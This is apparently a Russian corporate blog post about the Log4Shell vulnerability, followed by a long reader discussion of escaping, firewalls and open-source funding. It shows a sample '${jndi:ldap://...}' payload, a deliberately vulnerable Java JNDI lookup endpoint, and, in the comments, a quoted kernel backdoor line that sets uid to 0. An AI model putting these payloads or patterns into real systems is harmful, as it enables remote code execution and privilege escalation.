Учитывая стремительную цифровизацию бизнеса и развитие наших мобильных и веб-платформ, вопросы информационной безопасности для М.Видео-Эльдорадо крайне важны. Наверняка почти все в курсе про эпическую уязвимость в библиотеке Apache Log4j. Она поддерживает выполнение внешнего кода для интеллектуального парсинга логов, куда попадает и пользовательский ввод. Грубо говоря, одна строчка в адресной строке браузера у школьника кладёт сервер, если эту строчку скушает логгер (на многих серверах записываются в логи все HTTP-запросы).
Уязвимость в библиотеке сидела с 2013 года, но заметили только сейчас. А когда начали копать глубже, то обнаружили пропасть, дно которой не просматривается вообще.
Спустя месяц можно с холодной головой осмыслить произошедшее и подумать, что эта история означает для всего движения Open Source.
Масштаб катастрофы
Об эксплоите уязвимости CVE-2021-44228 (Log4Shell) сообщили 9 декабря 2021 года специалисты компании Lunasec. Через несколько дней Apache Security Team составила список пострадавших проектов Apache с уязвимыми версиями библиотеки. Несложно догадаться, что это огромный список.
Затронутые коммерческие службы включают AWS, Cloudflare, iCloud, Minecraft, Steam и многие другие. По данным Wiz and EY (Ernest & Young), уязвимость затронула 93% корпоративных облачных сред.
Уязвимость затронула практически всех, в том числе производителей аппаратного обеспечения. Например, Intel опубликовала список из 32 программ, подверженных взлому: SDK, системы обслуживания серверов, Linux-инструменты. Компания Nvidia выложила отчёт c упоминанием серверов DGX и инструментов NetQ. Ряд обновлений выпустили Apple и Microsoft. Сейчас чуть ли не каждая IT-компания считает необходимым опубликовать специальное уведомление по поводу Log4Shell. Даже если не нашла, что исправлять, это уже важная информация.
Самая серьёзная уязвимость в истории
Агентство по кибербезопасности и защите инфраструктуры США (CISA) заявило, что Log4Shell является одной из самых серьёзных уязвимостей в истории. Аналогичное мнение высказывают и другие специалисты. Уязвимость уже эксплуатируют для направленных атак на тысячи организаций (кража персональных данных и другие атаки). Последствия этих массовых взломов нам ещё предстоит оценить.
Масштаб катастрофы понятен даже по тому факту, что существует отдельный сайт с мемами про Log4j, и каждый день там новые картинки.
Эта боль с нами надолго. По факту, закрыть баг нужно на сотнях миллионов систем. История наверняка затянется на несколько лет. Тем более что одного патча оказалось мало. Log4j привлекла к себе пристальное внимание специалистов по информационной безопасности, которые находят всё новые и новые векторы атаки.
Но самое худшее, что данный баг вскрыл фундаментальную проблему с безопасностью Java и качеством кода опенсорсных проектов в принципе.
Суть уязвимости
Java Naming and Directory Interface (JNDI) — это Java API, чтобы искать объекты по имени. Эти объекты могут храниться в различных службах именования или каталогах, таких как Remote Method Invocation (RMI), Common Object Request Broker Architecture (CORBA), Lightweight Directory Access Protocol (LDAP) или Domain Name Service (DNS).
То есть это простой Java API, который принимает всего один строковый параметр. Если параметр поступает из ненадёжного источника, это может привести к удалённой загрузке классов и исполнению стороннего кода. Что и происходит в случае с Log4j. Злоумышленник просто направляет Java-приложение жертвы на вредоносный rmi/ldap/corba-сервер и получает в ответ произвольный объект.
Например, строка
${jndi:ldap://example.com/file} загрузит данные с этого URL, указанного в строке.На самом деле проблема здесь не в JDK или библиотеке, а скорее в клиентских приложениях, которые передают контролируемые пользователем данные в функцию
InitialContext.lookup(). Это риск безопасности даже в полностью пропатченных JDK. Ведь тут благодатная почва и для других уязвимостей типа десериализации недоверенных данных.Манипуляции с JNDI обсуждались ещё на Black Hat 2016 пять лет назад. См. также статью «JNDI-инъекции в Java» (2019).
Пример уязвимого приложения:
@RequestMapping("/lookup")
@Example(uri = {"/lookup?name=java:comp/env"})
public Object lookup(@RequestParam String name) throws Exception{
return new javax.naming.InitialContext().lookup(name);
}Вот почему в таких ситуациях нужен тщательный аудит исходного кода.
Мейнтейнеры опенсорса должны получать зарплату за свой труд
Проблема Log4Shell вскрыла фундаментальную проблему с качеством кода опенсорсных проектов в принципе.
Принято считать, что открытый код по умолчанию более качественный, надёжный и безопасный, чем проприетарный. Это кажется логичным, ведь его могут проверить специалисты со всего мира. Каждый может посмотреть и убедиться в его безопасности.
Ведь если поразмыслить, что произошло по сути в данной ситуации?
- Какой-то разработчик в свободное время написал прикольную библиотеку и решил бесплатно поделиться ею с миром.
- Библиотека понравилась миллионам — и её стали везде использовать.
- Сотни контрибуторов решили внести свой вклад. Они добавили в код много новых хороших идей и как минимум одну плохую.
- Ради обратной совместимости эту плохую идею оставили в следующих версиях.
- Плохая идея вызвала крупнейшую проблему в истории информационной безопасности.
- Мейнтейнеры быстро отреагировали выпуском патчей.
По итогам этой истории некоторые сделали вывод, что налицо фундаментальная проблема опенсорса, которая сводится к тому, что мейнтейнерам не платят денег.
Мейнтейнеры получают недостаточно за свою работу и выгорают. Профессиональный аудит кода зачастую не проводится. На опенсорсных программах строят бизнес богатейшие корпорации. И они даже не думают поделиться деньгами с сообществом.
Корпорации должны делиться?
По мнению известного криптографа и специалиста по безопасности Филиппо Вальсорды, крайне несправедливо, что огромные корпорации используют опенсорсное программное обеспечение, зарабатывают миллиарды долларов — и при этом никак не помогают поддерживать экосистему Open Source.
Получается, что огромный бизнес и вся инфраструктура зависит от какого-то рандомного любительского проекта, который даже не проходил серьёзный аудит, а его поддержкой десять лет бесплатно занимается никому не известный энтузиаст.
Система должна быть организована таким образом, чтобы мейнтейнеры опенсорса получали достойную зарплату за свой труд. Потому что сейчас некоторые из них работают буквально на голом энтузиазме, а их доход близко не сравним с зарплатой даже джуниора из FAANG. Это какой-то нонсенс.
По мнению Вальсорды, средний мейнтейнер успешного проекта может быть квалифицирован как ведущий инженер-программист (сеньор), а такие разработчики зарабатывают $150-300 тыс. в год и больше. Если брать 90-й перцентиль, то зарплата программиста $364 тыс. в Нью-Йорке, $232 тыс. в Лондоне, $163 тыс. в Берлине.
Обычная система пожертвований не решает проблему, поскольку донатов очень мало — их объём даже близко не сравним с зарплатой программиста в корпорации.
Решением может стать нормальное финансирование опенсорса с профессиональными мейнтейнерами на зарплате. Есть же примеры опенсорсных проектов типа Mozilla и GnuPG, которые не испытывают проблем с финансами. GnuPG недавно даже попросила людей не присылать больше донаты.
В общем, есть предложение реализовать юридический механизм, чтобы корпорации могли платить зарплату независимым мейнтейнерам.
Впрочем, с таким предложением не все согласны. Ведь если свободный софт перейдёт на финансирование со стороны корпораций, то это уже будет не совсем свободный софт? О выгорании мейнтейнеров говорят давно, а что делать с этим — непонятно.
Армагеддон Log4Shell хотя бы привлёк внимание к этой важной проблеме.
P. S. Для поиска и закрытия уязвимостей в своих системах можно воспользоваться утилитой log4jscanner от Google, которая сканирует все файлы JAR в файловой системе и находит опасные зависимости. Есть опция
--rewrite с автоматическим удалением уязвимых классов.Кстати: если вы заинтересованы в поиске интересных задач по направлению ИБ, мы всегда рад видеть вас в наших рядах. Актуальные вакансии по ссылке.
Комментарии (229)
Wesha
09.01.2022 10:34+29Грубо говоря, одна строчка в адресной строке браузера у школьника кладёт сервер
Уж сколько раз твердили миру..
P.S. Уже подсуетились
sshikov
09.01.2022 10:50+3Ну да.
>Злоумышленник просто направляет Java-приложение жертвы на вредоносный rmi/ldap/corba-сервер и получает в ответ произвольный объект.
А на самом-то деле — нечего приложению делать на вредоносном сервере где-то в интернете. Поэтому, как минимум, должен быть белый список тех IP, с которыми можно работать, если уж мы зачем-то лезем в интернет, на сервер другой компании. Их адреса должны быть заранее известны. То есть, способ предотвратить такую атаку в принципе — простой и рутинный, закрыть файрволом исходящие соединения. И он давно известен. Просто это не одно мероприятие, а комплекс мер (в том числе и экранировать тоже — экранировать кстати не так просто, если у вас несколько «языков» выражений внутри).Wesha
09.01.2022 10:57+8Что значит "злоумышленник направляет"?
То, что он тем или иным способом передаёт внутрь программы хитрым образом сконструированную строку, которую log4j воспринимает как команду.
Тётенька всё правильно сказала: "научитесь экранировать входящие данные". Именно это и есть решение. А "закрыть файрволом" - это, конечно, сработает, но это уже "заарканить выбегающую из незапертой конюшни лошадь" вместо того, чтобы тупо закрыть дверь в конюшню.
sshikov
09.01.2022 11:21+7Хитрым образом сконструированная строка заставляет наше приложение сходить в интернет (неизвестно куда), взять там некий неизвестный класс, и выполнить его метод. Но в нормальных условиях приложению нечего делать на том сервере, и незачем брать там классы. Вообще почти никогда. Приложений, которые могут лазать на произвольные IP в интернете — их не так много в природе, и с ними можно разобраться отдельно. Поэтому файрвол — это вообще должна быть именно рутина. Сделал сразу — и разбирайся с остальным.
>Именно это и есть решение.
Так в том-то и дело, что это не такое простое решение. На его реализацию нужно время. А если у вас два языка, которые надо экранировать — то и не такое простое. Ну вот для ясности — вы точно понимаете, как экранировать ${jndi:ldap...}? Я вот даже пытался документацию log4j полностью перечитать ради такого — но этого не хватает, нужно в код лезть. Там же есть много видов этих самых выражений, и некоторые из них теоретически могут оставаться легальными (хотя я бы, честно говоря, запретил бы все их виды).Wesha
09.01.2022 11:35+5Хитрым образом сконструированная строка заставляет наше приложение сходить в интернет (неизвестно куда), взять там некий неизвестный класс, и выполнить его метод. Но в нормальных условиях приложению нечего делать на том сервере, и незачем брать там классы.
В нормальных условиях "хитрым образом сконструированная строка" должна быть заэкранирована на входе, и до парсера log4j тупо не дойти.
Так в том-то и дело, что это не такое простое решение. На его реализацию нужно время.
Мы про разные вещи говорим. Вы рассказываете, как исправить уже возникшую у вас на сервере проблему. А я рассказываю, каким образом можно было бы не допустить возникновения этой проблемы — и сейчас не пришлось бы ничего исправлять.
вы точно понимаете, как экранировать ${jndi:ldap...}
Например,
%24%7Bjndi%3Aldap...%7Dsshikov
09.01.2022 11:49>Вы рассказываете, как исправить уже возникшую у вас на сервере проблему.
Да, разумеется. Так у нас с начала декабря именно такая ситуация у всех была и есть. Когда выяснилось, что потенциальные проблемы, там и сям, непонятно где. И именно сейчас мы все еще ровно в такой ситуации. И уязвимости, в моем например случае, в коде систем и фреймворков, которые временами сильно сложнее, чем скажем мое приложение, и уязвимы сторонние приложения (в том числе — от той же Apache Group).
Мне кажется, мы говорим в общем-то про одно — как не допускать уязвимостей. Я думаю, что это комплексная проблема, решение которой включает в себя многое. В том числе — предлагаемую вами санацию всех входящих данных, которую я вовсе не отвергаю — просто она временами далеко не тривиальна.
>Например, %24%7Bjndi%3Aldap...%7D
Так а что делаем с остальными видами выражений (а их там десятки, кажись)? А если это был ${jndi:ldap:localhost} — мы его тоже того? В общем, я хотел сказать, что тут есть о чем подумать — и пока мы будем думать, может проще таки дустом его (файрволом, в смысле)?
mayorovp
09.01.2022 11:55+1А если это был ${jndi:ldap:localhost} — мы его тоже того?
Вообще-то да, надо и его тоже того. Иначе однажды через эту дырку тоже кто-нибудь пролезет.
sshikov
09.01.2022 12:04+1Через какую «эту»? Тут же конкретная дыра в том, что хост произвольный.
Ну т.е. не то чтобы я был против того, чтобы вообще эту фичу запретить (оставив возможно доступ из конфигов, как было бы логично) — мне просто последствия не очевидны с ходу. То есть, не сломаются ли легальные способы использования.mayorovp
09.01.2022 12:12+4Если вы используете jndi:ldap (а вы его используете, иначе зачем вообще его включать?) — значит, в вашем LDAP где-то лежат пригодные к использованию классы (или ссылки на них, это неважно). Не все эти классы могут оказаться безопасными к использованию в любом контексте. Если там лежит класс, который небезопасен при использовании в логах — то атакующий может "нащупать" его и провести атаку.
sshikov
09.01.2022 12:40>Если вы используете jndi:ldap
Я — нет. Более того, я почитал тут jira, по которой его создали, и мне непонятна мотивация тех людей, которые это написали. Поэтому и легальные случаи использования мне лично не очевидны. Там в качестве мотивов приводится необходимость писать код, и класть в контекст логирование некие данные — и автору этого не хочется. Мягко говоря, это недостаточный повод, чтобы создать дыру в безопасности такого размера.
>Если там лежит класс, который небезопасен при использовании в логах
Ну так остальные лукапы в этом смысле ничуть не лучше. В целом эта дыра позволяет вызывать некий обширный набор классов из логирования таким способом, который авторы не ожидают. В этом смысле не опубликованные в JNDI классы даже хуже — потому что в JNDI все же как правило кладут сервисы, про которые ожидается, что их будут вызывать извне. А тут можно дернуть класс, который в обычной жизни получает санированные данные, а к произвольным окажется не готов.
Gaikotsu
09.01.2022 16:31+5Такое ощущение что этот функционал был написан по принципу "шоб було" и "смотрите какая прикольная фича у нас поддерживается в логгере" и об безопасности написанного в этот момент даже не задумывались.
З.Ы. А вобще известно уже, кто автор этой "фичи"?
sshikov
09.01.2022 16:40Да, есть такое впечатление. Что интересно, я вот сижу до сих пор на версии 1.2.*, и как-то не особо страдаю от того, что в ней не хватает «фич». То есть потребность в этом не то чтобы очевидна.
>А вобще известно уже, кто автор этой «фичи»?
Боюсь что тут больше одного автора приложило руки. Одна jira тут прямо упоминалась, но сам по себе jndi лукап не создал бы такой дыры, если бы его можно было употреблять только из конфига. А кто придумал разрешить вычислять эти выражения над данными — я не знаю. Хотя тоже интересно бы поглядеть в глаза этому человеку.
В принципе, это не так сложно выяснить. Гитхаб в наличии, где примерно искать — понятно. Есть свежие коммиты, которые меняют умолчания с «включено» на «выключено» — так что почти с точностью до строки известно, кто это первоначально включил.
tyomitch
09.01.2022 16:58+1Кого вы собираетесь назначить стрелочником — того, кто реализовал фичу, или того, кто её включил по умолчанию?
И что с ним делать дальше? Извалять в смоле и перьях, на позор опенсорс-сообществу?
sshikov
09.01.2022 22:40С чего вы взяли, что мы собрались кого-то назначить? Просто разборки такого типа — обычно могут быть довольно любопытными.
Я все же склоняюсь к тому, что это коллективное творчество. И скорее похоже на то, что над архитектурой особо никто не думал, когда фичи новые пилили. Если бы цель была придумать просто дыру — это можно было бы сделать и попроще.
Soukhinov
10.01.2022 14:12Собрать всех, приложивших руку к ошибке, запереть в комнате, и не выпускать, пока они не разберутся, кто виноват, и не убьют его сами.
Gaikotsu
09.01.2022 17:28Кстати в 1.2.х вроде как оная фича тоже работает, но только если юзать для логов JMSAppender.
З.Ы. Сам тоже все еще на первой ветке сижу. В целом то не проблема перейти на вторую или на logback, т.к. для работы с логами используется прослойка в виде slf4j и переход на другую библиотеку логгирования особо ничего переделывать не потребует, но просто пока все работает по принципу "работает? значит не трогай" :) тем более ничего в логгер такого не идет, куда бы могло попасть что-то передаваемое пользователями.
sshikov
09.01.2022 22:41Насколько я помню, аппендер нельзя создать путем логирования чего-то в лог, то есть активировать извне, если его нет в конфиге. Т.е. это фича, которую нужно включить на уровне конфига — что сразу снижает вероятность атаки. А так да, и JDBCAppender по-моему тоже уязвим.
>В целом то не проблема перейти на вторую или на logback
Ну тут как посмотреть. У нас уязвимой оказалась Hive, а сами мы при этом сидим на log4j 1.2.*. А перевести Hive на logback — это уже задачка другого масштаба, подсунуть им правильную версию — это еще куда ни шло (хотя в наших масштабах пропатчить сотни серверов — тоже то еще развлечение).
inkelyad
09.01.2022 18:16Боюсь что тут больше одного автора приложило руки. Одна jira тут прямо упоминалась, но сам по себе jndi лукап не создал бы такой дыры, если бы его можно было употреблять только из конфига. А кто придумал разрешить вычислять эти выражения над данными — я не знаю. Хотя тоже интересно бы поглядеть в глаза этому человеку.
Я подозреваю, что 'тот человек' просто не вспомнил что обращение к jndi может откуда-то код вытащить да еще его и исполнить. И грабля тут положена, если честно, еще в тот момент, когда, собственно, jndi делали. В котором с проверкой типов плохо. По хорошему такие вещи должны бы посылать 'тут мы хотим взять строку из...' еще на этапе компиляции.
sshikov
09.01.2022 22:43>когда, собственно, jndi делали
Ну где-то так, да (по-моему в статье даже ссылки на это есть). То есть, все что в JNDI лежит — это потенциально может быть вызвано, откуда угодно и в любом (недоверенном) контексте. И тут не хватает проверок много каких. С обоих сторон.
Wesha
09.01.2022 19:26З.Ы. А вобще известно уже, кто автор этой "фичи"?
Предлагаете четвертовать на три неравные половины?
Wesha
09.01.2022 19:26-1я почитал тут jira, по которой его создали, и мне непонятна мотивация тех людей, которые это написали.
Чего тут понимать — насколько спорим, что кто-то в какой-нибудь NSA премию за этот тикет получил?
sshikov
09.01.2022 22:45Ну, мы по-моему на эту тему уже шутили, и тут, и в чатике на работе. Но вот если честно — не очень это похоже на сознательно заложенную дыру. Скорее уж похоже на тяп-ляп без продумывания архитектуры. Когда сначала одну фичу запилили, потом другую, и их взаимодействие приводит к эффектам, которые уже никто и не продумал.
Wesha
10.01.2022 00:00+1А в этом и заключается высший пилотаж в закладывании дыр: чтобы с первого (и со второго) взгляда не выглядело, как закладка — помните, лет 10 назад был скандал: неизвестные взломали какой-то там репозиторий и запостили мааааленький такой коммит, что-то вида (псевдокод)
if (some_special_conditon) && (active_user.id = 0) { log("some_special_conditon shouldn't be used by root!") }— с первого взгляда всё выглядит нормально, а с третьего становится понятно, что если воздействием на систему организовать, чтобыsome_special_conditonбылоtrue, то этот код делает текущего юзера рутом.
sshikov
10.01.2022 17:10Не, я не исключаю такого варианта. Но пока выглядит скорее как результат раздолбайства, нежели осознанное действие. Да и потом, а много ли мы видели осознанно внесенных бэкдоров, чтобы собрать по ним хоть какую-то статистику? Я вот так сходу ни одного и не припомню, про который было бы точно было известно, что он сознательно оставлен.
Wesha
10.01.2022 19:42Я вот так сходу ни одного и не припомню, про который было бы точно было известно, что он сознательно оставлен.
Ну вот я Вам один привёл. Или Вы хотите сказать, что "отхачили сервер и вборосили свой коммит" по пьяни?
sshikov
10.01.2022 22:18Ну я как бы про те, что я видел. Ну и просто, исходя из практики — хороших программистов вообще не так много, очень хороших — еще меньше.
Чисто статистически, в тупой баг по недомыслию верится изначально больше, чем в супер-пупер хакеров АНБ/ФБР/ФСБ, нанявшихся в Apache Group, чтобы хакнуть log4j. Слишком сложный план, как по мне, если сравнивать с Heartbleed.
victor-homyakov
10.01.2022 21:44if ((options == (__WCLONE|__WALL)) && (current->uid = 0)) retval = -EINVAL;
mayorovp
09.01.2022 11:57+4Например, %24%7Bjndi%3Aldap...%7D
Но тогда в логах и записано будет %24%7Bjndi%3Aldap...%7D, а надо бы чтобы туда записалось ${jndi:ldap...}
Собственно, в log4j2 оказался сломан вовсе не модуль JNDI, а часть отвечающая за разделение входных данных на "чистые" и "грязные".
yasha_akimov
09.01.2022 18:33+1А что нам мешает просто делать обратное преобразование, когда нам понадобилось прочитать логи ?
Borz
09.01.2022 19:21+2и как понять, что это было "преобразование для защиты" или именно такую комбинацию символов положили изначально в лог?
Wesha
09.01.2022 19:31-2Эм, если Вам это не очевидно, то напишу открытым текстом: экранироваться должны ВСЕ входящие данные.
А если Вам сильно припёрло эти логи почитать, то просмотровщик их (прозрачно для Вас) разэкранирует, и Вы даже и не замечаете, что там что-то внутрях экранировалось. Если только Вам не приспичило открыть капот и залезть внутрь — но в такоем случае ССЗБ.
Cerberuser
10.01.2022 06:22+1просмотровщик их (прозрачно для Вас) разэкранирует
То есть, нам теперь нужна специальная программа для того, чтобы смотреть обычный текстовый файл?
Wesha
10.01.2022 06:41-1То есть, нам теперь нужна специальная программа для того, чтобы смотреть обычный текстовый файл?
Вам чего взвесить: удобства или безопасности?
А некоторы
языком умываютсяhex-коды в голове разэкранировать умеют.
mrsantak
10.01.2022 10:45+5Если вам интересна безопасность, то не эскейпингом логов заниматься надо, а выпилить к чертям саму возможность выполнять код в лог сообщениях.
mayorovp
10.01.2022 01:25+6Это противоречит идее текстовых логов.
Если сразу настраиваться на специальный просмотрщик — надо и писать структурные логи.
rrrad
09.01.2022 14:56+13В нормальных условиях "хитрым образом сконструированная строка" должна быть заэкранирована на входе, и до парсера log4j тупо не дойти.
Вы шутите? Это логгер. Он предназначен для того, чтобы плюнуть туда любую строку и она попала в лог-файл as is.
Wesha
09.01.2022 19:33-2Он предназначен для того, чтобы плюнуть туда любую строку и она попала в лог-файл
as isтаким образом, чтобы всегда можно было получить исходную.There. Fixed that for you.
Это Ваше требование "as is" — оно или от лени, или от непонимания.
rrrad
09.01.2022 19:54+4Если логи у вас хранятся в таблице в БД, то это задача логгера экранировать (а точнее - передавать логгируемый текст в виде параметров запроса, делегировав экранирование jdbc-драйверу или самой СУБД). Если же логи попадают в какую-то kibana (т.е., данные отображаются в браузере и могут привести к выполнению кода у того, кто лог просматривает), то экранирование - это задача kiban-ы.
Логгер, перед которым приходится еще и данные чистить нафиг никому не нужен.
Wesha
09.01.2022 19:57Все данные, приходящие извне системы, априори считаются грязными и должны быть почищены.
Чистые данные могут происходить только изнутри системы.
Логгер, перед которым приходится еще и данные чистить нафиг никому не нужен.
Простите, а что, в логгер уже включили модуль телепатирования, который определяет, откуда произошла вот эта вот конкретная строка?
PaulIsh
09.01.2022 20:28Коллеги, у вас спор может быть бесконечным пока нет спецификации. Какой метод логгера вызывается, что сказано в описании этого метода?
Если там на вход должна приниматься строка, которая далее "как есть" передается в адаптер (консоль, файл, бд, ...), и в спецификации ничего не сказано про управляющие команды, то очевидно видиноват логгер. Если говорится, что в строке есть управляющие команды, то значит их надо экранировать и это не вина логгера.
Может есть пример вызова и вырезка из документации по вызываемому методу?Wesha
09.01.2022 20:58-2Если там на вход должна приниматься строка, которая далее "как есть" передается в адаптер (консоль, файл, бд, ...), и в спецификации ничего не сказано про управляющие команды, то очевидно видиноват логгер.
Или писатель спецификации, который не рассчитывал, что логгер будет использоваться в небезопасном окружении. А должен был!
Если говорится, что в строке есть управляющие команды, то значит их надо экранировать и это не вина логгера.
По умолчанию все входящие данные следует считать грязными.
commanderxo
09.01.2022 20:34+3Это логгер. Он предназначен для того, чтобы плюнуть туда любую строку и она попала в лог-файл as is
Точнее говоря это поведение логгера ожидаемое большинством программистов.
Малоизвестная фича Log4j стала серьёзной дырой по совокупности причин:- 99% пользователей и не подозревали, что нужно что-то экранировать, логично ожидая что логгер пишет как есть всё что ему передано. Например для ситуаций «плохиши из Интернета прислали нам вот этот запрос с SQL Injection, но мы его распознали, а заодно записали в логи для анализа». Да, в документации описан механизм интрепретации JNDI выражений, но кто читает документацию на каждый используемый пакет?
- Была добавлена сверхмощная фича исполнения произвольного кода которая не нужна подавляющему большинству пользователей, причём включена по умолчанию. Понадеялись что все кому она не нужна сообразят это при чтении документации и заэкранируют. Про документацию см. предыдущий пункт.
- Бесплатные библиотеки (не обязательно open source) поощряют бездумное добавление внешних зависимостей по поводу и без. Недавно сам видел как ради единственной строчки со сравнением временных интервалов в проект притащили огромную по функциональности библиотеку работы с датами. Думаете кто-то читал что она ещё там может? Проблема разработчика «решена» за 5 минут, всё
работаетне падает видимым образом, денег не просят. А что такого? Приложения уровня чуть выше «hello world» с 20.000 файлами в node_modules никого не удивляют, привыкли. - Даже если разово найти деньги и людей на аудит всех зависимостей, завтра в дереве пакетов что-то поменяется. package-lock.json и подобные им частично решают проблему, но популярность вопросов про их использование показывает насколько мало люди понимают какие грабли могут таиться за безобидным подключением ещё одного пакета. Да, программисты называют условную Java неповоротливым монстром и кровавым энтерпрайзом, им хочется чтоб новые плюшки можно было загружать на лету прямо с GitHub, а не ждать очередного релиза JDK, но вы пробовали рассказать вашему безопаснику происхождение кода исполняющегося на build-сервере, а то и в продакшене? Надежда и авось это не лучшие стратегии построения стабильного приложения.
Мы настолько привыкли к быстрой разработке с использованием сотен сторонних библиотек, что решение хотя-бы вдумчиво читать документацию и анализировать изменения означает добровольно отдать свою долю рынка менее щепетильным конкурентам. Поэтому все закрывают на это глаза, уповая на то, что какие-то абстрактные эксперты обязательно вовремя заметят и устранят уязвимости в популярных библиотеках. Это же open source, пускай другие за меня работают.
gecube
09.01.2022 20:43+3Поэтому все закрывают на это глаза, уповая на то, что какие-то абстрактные эксперты обязательно вовремя заметят и устранят уязвимости в популярных библиотеках.
ради справедливости - если опять вскроется дыра размером с Heartbleed или настоящую проблему с log4j, то об этом опять будет известно всем. И фикс тоже будет издан в кратчайшее время.
А проблемы в самописной библиотеке точно так же будут случайно вскрыты хакерами, использоваться втихую, и никто никому ничего не зарепортит...
Telmah
10.01.2022 11:32+1откуда увереность что найденые уязвимости в опен соурсе сразу репортят? их могут находить не один раз и активно эсплуатировать годами до первого репорта
sergey-b
09.01.2022 22:27«поведение логгера, ожидаемое большинством программистов» было задокументировано.
Фактическое поведение задокументировано не было.
rrrad
09.01.2022 22:53В таком случае данная фича вообще стоит рядом с бэкдорами.
Проблема в том, что мир OSS очень сильно увеличился и включает в себя целую пачку экосистем, в итоге там, где раньше (лет 15-20 назад) над одним кодом работала куча людей, сейчас зачастую одну из десятков используемых библиотек может активно пилить полтора энтузиаста и хреновая фича запросто может попасть в очередную версию библиотеки. Что мы и наблюдаем. Была байка про то, как кто-то попытался протащить backdoor в ядро linux, но на этапе code review его обнаружили.
tundrawolf_kiba
12.01.2022 00:34Была байка про то, как кто-то попытался протащить backdoor в ядро linux, но на этапе code review его обнаружили.
Как я понимаю, речь о статье по ссылке в это комментарии
sshikov
10.01.2022 17:12>но кто читает документацию на каждый используемый пакет?
Ну я честно пытался читать. Именно вот эту самую по вот этому вот поводу. Там еще так сразу хрен найдешь, где именно выражения интерпретируются, а где нет.
AntonPlotnikov
10.01.2022 18:25Обычно, 99% фунцкций в модных комбайнах логирования не нужны от слова совсем в конкретном проекте. Но разработчик-то подключает всю либу с дефолтными настройками, не особо вникая в детали реализации, в документацию, в анализ безопасности и прочее. У него же таска в джире горит.
michael_v89
09.01.2022 22:02+2Если логгер понимает выражения вида
${abcd}и как-то их обрабатывает, значит это не просто логгер, а язык разметки, и внешние данные, которые добавляются в эту разметку, надо экранировать. Так же как их надо экранировать через htmlspecialchars() при выводе в HTML, или через json_encode() при выводе в JavaScript, или через db->quote() при выводе в SQL. И раз уж логгер имеет управляющие конструкции, то он должен иметь и способ их экранирования, и сам убирать экранирующие символы при записи в файл.rrrad
09.01.2022 23:10+1Обычно (в мире java-логгеров) первый аргумент функции логгирования (как вариант - второй, т.к. первый - уровень логгирования) - это строка форматирования. Соответственно, этот аргумент обычно хардкодится (исключение - когда аргумент всего один), остальные параметры не должны никак интерпретироваться (ну разве что для некоторых типов может использоваться особое преобразование в строку вместо вызова
toString()), кстати, передача в первом параметре строки из недоверенного источника должно, по идее, ловиться всякими анализаторами уязвимостей.
mayorovp
10.01.2022 01:27+2Ну вот, собственно, в том и претензия к логгеру — какого фига он понимает выражения вида ${abcd} там, где от него ожидается обратное?
zantor
10.01.2022 03:58+1Вообще-то, он "понимал" такие выражения именно там, где это от него "ожидалось" :) почитайте код log4j, и посмотрите, что такое formatMsgNoLookups, {nolookups}. Сама уязвимость выглядит как "insane" defaults :) Хотя я, честно говоря, не могу представить себе валидный сценарий, требующий загрузки класса через логирование
mayorovp
10.01.2022 10:19+1Это вы про CVE-2021-44228 написали (кажется). А есть ещё и CVE-2021-44832...
zantor
10.01.2022 12:52+1Для CVE-2021-44832 нужно иметь доступ на запись в конфиг файл. Это примерно как дать доступ на запись к конфигу httpd и увидеть, что стал возможен RCE через e.g. <Perl> секции.
mayorovp
10.01.2022 13:40+1Не нужен доступ на запись, достаточно настроенного JDBCAppender.
Да, это означает что уже не каждое приложение уязвимо (к примеру, майнкрафту в дефолтной поставке этот баг уже не грозит). Но дыра всё ещё есть.
zantor
10.01.2022 13:57https://nvd.nist.gov/vuln/detail/CVE-2021-44832
where an attacker with permission to modify the logging configuration file can construct a malicious configuration using a JDBC Appender with a data source referencing a JNDI URI which can execute remote code.
mayorovp
10.01.2022 10:22+1Ну и да, пусть даже оно 100 раз настраиваемое, и можно было использовать его безопасно — но ожидались от логгера именно безопасные умолчания.
gecube
09.01.2022 13:55Поэтому файрвол — это вообще должна быть именно рутина.
++++
либо сетевые политики в кубернетесе (если мы в нем). А еще везде шифрование (TLS) - потому что злоумышленник может быть внутренний. И жизнь сразу становится чуточку более спокойной.
И насчет сетевых политик - они должны быть по принципу белого списка. Потому что количество точек интеграции приложения как правило конечное. Есть, конечно, нюансы со всякими амазонами, которые используют динамические пулы, но это решаемо
sshikov
09.01.2022 13:58>либо сетевые политики в кубернетесе (если мы в нем)
Ну да, пожалуй тут надо шире трактовать. Вплоть до mTLS, чего от нас кстати все время требуют безопасники.
Wyrd
09.01.2022 15:50Потому что количество точек интеграции приложения как правило конечное. Есть, конечно, нюансы со всякими амазонами, которые используют динамические пулы, но это решаемо
Это очень смелое утверждение. Веб хуки, энтерпрайз API, экспорт/аплоад данных - все это обычно подразумевает, что пользователь может где-то указать произвольный URL за который система должна его дёргать.
Конечно, в энтерпрайзе обычно ставят отдельные сервера, которые ходят по таким урлам, но им тоже нужно логгирование, а их компрометация - это как минимум возможность повлиять на весь исходящий траффик в сторону кастомных пользовательских направлений.
Так что, одними былыми списками тут не отделаешься.
gecube
09.01.2022 17:25все это обычно подразумевает, что пользователь может где-то указать произвольный URL за который система должна его дёргать.
Ну, далеко не все системы подразумевают такой функционал. А если подразумевают - те же сетевые политики можно генерировать на ходу. Касательно Энтерпрайз тоже правильно пишете. Ехал прокси через прокси. И везде проверки. В конце-концов хотя бы минимальный контроль доступа нужен. Ну, и Вы опять же правильно говорите, что есть некие архитектурные требования (включая иб) и проще их удовлетворить. Иногда, конечно, это порождает странные решения.
их компрометация - это как минимум возможность повлиять на весь исходящий траффик
Ну, компрометация waf или входящего http балансировщика - тоже critical. Но идея ведь в том, что конечное количество точек обезопасить проще, чем неограниченное. Это раз. Два - функционал waf/балансировщика и всего прочего тоже конечный и его проще подвергнуть аудиту, правильно настроить, чем фигпойми что.
В конце-концов - я о том, что должно быть описание. Машиночитаемое и человекочитаемое. Потому что если его нет - невозможно понять, работает ли система корректно или нет. Взломали нас или нет. И если где-то в матрице взаимодействий есть условная звёздочка - это повод к системе выдвинуть какие-то дополнительные требования по обеспечению ее целостности/защищённости и прочего.
KorDen32
09.01.2022 18:34+1И жизнь сразу становится чуточку более спокойной.
До следующего Heartbleed
Soukhinov
10.01.2022 14:32+1Потому что количество точек интеграции приложения как правило конечное.
Я, как математик, вас поддериживаю. Всё, что делает компьютер за конечное время, — конечное.
questor
